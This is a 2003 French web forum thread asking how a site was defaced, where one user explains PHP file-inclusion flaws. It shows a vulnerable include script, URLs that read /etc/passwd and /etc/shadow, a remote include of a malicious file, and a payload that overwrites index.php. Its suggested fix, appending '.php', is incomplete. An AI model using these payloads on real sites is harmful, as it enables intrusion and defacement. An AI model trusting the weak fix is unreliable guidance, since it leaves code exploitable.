KioskeaKioskeaCommentCaMarcheInscrivez-vous, c'est gratuit !
Vendredi 16 mai 2008 - 17:59:25

[HACK] Comment ils ont fais ca?

Rechercher : dans
[HACK] Comment ils ont fais ca?
par esox_ch
 Fil de Discussions
Statut : Non résolu
vendredi 30 mai 2003 à 22:22:49
Bonjour,
je suis tombé par hazard sur cette page :
http://membres.lycos.fr/amannrik/
Qui a étée hackée apperemment, il disent qu'il y avais un trou de secu dans un scrypt php.... Je me demandais comment ils ont fais tout ça?
Si qqn peut me renseigner... pour que je commette pas la meme erreur que ces gens ;)

Eternel Questionneur. Seul et Unique membre de la : SPdLM
=> Société Protectrice des Langages Maltraités
Répondre à esox_ch  Signaler ce message aux modérateurs Aller au dernier message

1


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par ipl, le vendredi 30 mai 2003 à 22:31:17 Fil de Discussions
Bonsoir esox_ch, bonsoir à tous,

Est-ce bidon ? est-ce réel ?
Aujourd'hui, dans SVM de juin, je lisais un débat sur les virus, le hacking, etc. et certains disaient qu'ils admireraient un virus ce contentant de dire "votre site n'est pas protégé" !
En voila donc un exemple !

En sais-tu plus esox_ch ? le pirate a-t'il juste ajouté sa page d'accueil ?
(barre de titre déroulante, barre de status déroulante, etc.)

@12C4 ... In medio stat virtus ...
Ipl
Répondre à ipl

2


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par esox_ch, le vendredi 30 mai 2003 à 23:25:44 Fil de Discussions
Oui je comprends bien ca, mais comment? En temps normal j'aurais pensser a un brute force sur leur ftp qui aurait trouver le mdp, mais quesque cela a à voir avec le php? Deplus le site du hacker a l'air de tenir debout meme s'il n'est pas tres bien renseigner sur les techniques d'attaque a caramail...

Eternel Questionneur. Seul et Unique membre de la : SPdLM
=> Société Protectrice des Langages Maltraités
Répondre à esox_ch

85


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par T-101, le samedi 15 mars 2008 à 22:44:49 Fil de Discussions
Simplement pcq les serveurs FTP ont dans certaines de leur commandes des arguments exploitables par le pirate, ensuite il suffit pour lui de chercher laquelle de ces commandes à une faille et puis voilà mais bon on va pas tout expliquer pour s'introduire dans un serveur.


J'espère que je vous ai aidé à comprendre l'histoire un peu. @+
Répondre à T-101

86


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par T-101, le samedi 15 mars 2008 à 22:45:40 Fil de Discussions 
Dsl c'étais pour un php mais c'est le même principe
Répondre à T-101

3


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par esox_ch, le samedi 31 mai 2003 à 17:49:35 Fil de Discussions
Personne a une idée?

Eternel Questionneur. Seul et Unique membre de la : SPdLM
=> Société Protectrice des Langages Maltraités
Répondre à esox_ch

4


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par Fultama, le lundi 9 juin 2003 à 09:03:28 Fil de Discussions
bonjour a tous,
Je peux répondre.

personnes ne connaient les vulnérabilités PHP ici ?
je peux en expliquer une qui aujourd'hui est vielle et dépassé. il s'agit de la faille include, la fonction include qui comme le savent la plupart sert a inclure des fichiers dans une page.

imagninons un code :

<?

include("config.php"); //inclut le code config.php
include("header.php"); //inclut le code header.php
if(file_exists($page)) //si le fichier 'page' existe
include($page); //inclut 'page'
else // sinon
include("erreur404.php"); //inclut une erreur 404

?>

on peut voir que ce code n'est pas protéger du tout !
oui il faut rajouter l'extension .php apres .inc

system Unix :
http://server/index.php?page=/etc/passwd
http://server/index.php?page=/etc/hosts
http://server/index.php?page=/etc/inetd.conf
http://server/index.php?page=/etc/motd

alors /etc/passwd sont toutes les cmd unix

ils affichent le mot de passe comme /etc/passwd et celui qui est relativement dangereux mais rare : /etc/shadow

on peut aussi inclure un site via la faille include
en effet en gardant le meme code vous verrez que l'on peut faire :
http://server/index.php?page=http://www.google.com
là vous verrez afficher google, par contre si le site supporte le php
on peut ainsi inclure un fichier par fopen de cette facon :
http://server/index.php?page=http://server2/code-malicious.php

dans ce code on pourrait mettre pour afficher les mots de passe :

<?php
$fp = fopen("index.php","w");
if (!$fp) {
die("Erreur lors de l'accès au fichier");
}
fputs($fp, 'LE CODE HTML QUE VOUS VOULEZ');
fclose($fp);
?>

pour la sécurisation du premier code :

<?

include("config.php"); //inclut le code config.php
include("header.php"); //inclut le code header.php
$page = $page.".php"; // ajout d'une extension .php
if(file_exists($page)) //si le fichier 'page' existe
include($page); //inclut 'page'
else // sinon
include("erreur404.php"); //inclut une erreur 404

?>




c'est a peu pres tout, évidemment ce post est informatif mais en aucun cas vous ne devez utiliser cette technique pour défacer des sites,
je dirais meme plus un post de sécurité informatique :)

Bonne journée
Répondre à Fultama

5


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par ipl, le lundi 9 juin 2003 à 10:31:36 Fil de Discussions
Bonjour fultama, bonjour à tous,

Je te remercie vivement pour tes explications !
En fait, j'écarquille les yeux (çà fait même mal) pour essayer de comprendre et de voir une différence entre un code erroné et un code protégé... LOL

Bon, je relirai çà 10 fois dans les transports pendant la grêve à Paris et dans 3 jours, j'aurai compris un petit bout du début ! ;-)

Merci !
Bonne journée,

@12C4 ... In medio stat virtus ...
Ipl
Répondre à ipl

11


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par Jeff, le mardi 10 juin 2003 à 08:32:39 Fil de Discussions
Challenge-securitech ça vous rappelle quelque chose ? :-)

C'était la faille à exploiter dans le niveau 2 si je me rappelle bien ! Jeff  --=||[WM@CCM]||=--
Répondre à Jeff

6


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par PLC, le lundi 9 juin 2003 à 13:59:01 Fil de Discussions
Note: le pirate devrait étudier l'orthographe :)
Répondre à PLC

7


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par Fultama, le lundi 9 juin 2003 à 21:57:12 Fil de Discussions
l'important est la communication et la compréhension pas l'orthographe :) (c'est bon je rigole)

si vous avez besoin de moi pour ce genre d'explication appellez moi :)
Répondre à Fultama

8


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par ipl, le lundi 9 juin 2003 à 22:09:53 Fil de Discussions
C'est sympa Fultama ! merci beaucoup !

@12C4 ... In medio stat virtus ...
Ipl
Répondre à ipl

9


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par M&M, le mardi 10 juin 2003 à 08:03:07 Fil de Discussions
fultama, c'est affolant ce que tu nous dis là !
 :,§_ ç _
(@)=(@)
Répondre à M&M

10


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par Fultama, le mardi 10 juin 2003 à 08:27:34 Fil de Discussions
Il y a vraiment pire croyez moi.

je vous montrerais une autre faille quand j'aurais le temps(c'est a dire pas ce matin ...)

voilà ++
Répondre à Fultama

12


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par ipl, le mardi 10 juin 2003 à 12:33:29 Fil de Discussions
Bonjour Fultama, M&M, bonjour à tous,

Fultama... ah oui, c'est très important de nous briefer là-dessus... quand tu auras un moment !

Merci !

@12C4 ... In medio stat virtus ...
Ipl
Répondre à ipl

13


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par lagassat, le mardi 10 juin 2003 à 14:29:01 Fil de Discussions
Salut tt le monde,

Ca me fait penser que j'ai vu qu'il y avait un article sur "comment proteger ses pages web avec php" dans le magasine Login (chez marchands de journeaux).

Je ne peux pas vous dire ce que ca donne, je ne l'ai pas encore acheter, mais je crois que ca va pas tarder, je suis curieux...

"2 choses sont infinies : l'univers et la betise humaine
bien que en ce qui concerne la 1ere je n'ai pas encore de certitude absolue"
Répondre à lagassat

14


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par lagassat, le mardi 10 juin 2003 à 14:32:46 Fil de Discussions
dsl pour les fautes... :-(
C ca de pas faire gaffe lorsqu'on tape

"2 choses sont infinies : l'univers et la betise humaine
bien que en ce qui concerne la 1ere je n'ai pas encore de certitude absolue"
Répondre à lagassat

15


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par kalamit, le mardi 10 juin 2003 à 14:37:51 Fil de Discussions
Salut pour les uns, re- pour les autres.

Malheureusement, des failles y'en a partout. Et pas seulement au niveau de php. Je me rappelle que Apache permettait de remonter dans l'arborescence de la machine.
Tenez vous au courant et bien que les installations de patch soient un risque à prendre serieusement en compte, il faut les installer. (Je ne rappellerai pas l'episode Sql Slammer).

Kalamit,
Modard par tous les temps (surtout ceux de grève) !
Répondre à kalamit

16


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par Sardino, le mardi 10 juin 2003 à 15:05:19 Fil de Discussions
Salut @ tous !

En fait, il ya de nombreux moyens de taper sur un site PhP.
La méthode de Fultama est très efficace. J'ajouterai que pour être fonctionnelle, le site contenant le code malicieux doit être statique... Mais bon...

L'une des grosses faille réside dans le fait que les variables GET et POST des formulaires (et de l'URL) sont enregistrées comme variable globales. Il suffit d'avoir vu le code Php de la page pour détecter les failles ! On peut accéder à n'importe quelle variable !
Solution : register_global doit être désactivé (off)
Dans ce cas, il faut récupérer les variables dans le script par le biais de $_POST[] ou $_GET[]. Une fonction très sympa aussi : import_request_variables("g", "extension_devant_la_variable"). Ca peut servir...

Pour limiter les attaques distantes, le setting d'open_basedir est inévitable. Il est aussi très important de désactiver les messages d'erreur. Et l'importation de fichier doit aussi être strictement contrôlé...
Ce qui fait la richesse de PhP fait aussi sa faiblesse...

Bon, c'est un peu décousu... désolé...

@+

[ Méfiez-vous des filets dérivants de la vie... ]
Répondre à Sardino

18


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par Fultama, le mardi 10 juin 2003 à 16:41:46 Fil de Discussions
arf un modérateur a supprimé mon post

on me dit : merci et tout pour l'aide sur ce genre de sujet comme la sécurité et le hacking
c'est un sujet de conversation

mais enfin bon je me suis cassé le cul a expliquer une faille Windows XP et 2000, puis on me supprime mon post la prochaine fois faites un avertissement


@++
Répondre à Fultama

19


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par kalamit, le mardi 10 juin 2003 à 17:05:38 Fil de Discussions
C'est pas perdu Fultama...
On discute pour savoir si on le rétablit ou pas. Dans le doute, j'ai preferé le supprimé provisoirement. Désolé, car c'est très interressant... :)

Kalamit,
Modard par tous les temps (surtout ceux de grève) !
Répondre à kalamit

20


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par esox_ch, le mardi 10 juin 2003 à 17:09:56 Fil de Discussions
Franchement ca je comprends pas, c'est un forum d'info ou pas? Si des qu'un post se rapproche de pres ou de loin a qqch qui peut eventuellement etre dangeureux pour un ordio il est effacer ca sert a quoi de poser des question sur la secu&co?

Eternel Questionneur. Seul et Unique membre de la : SPdLM
=> Société Protectrice des Langages Maltraités
Répondre à esox_ch

22


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Par kalamit, le mardi 10 juin 2003 à 17:12:23 Fil de Discussions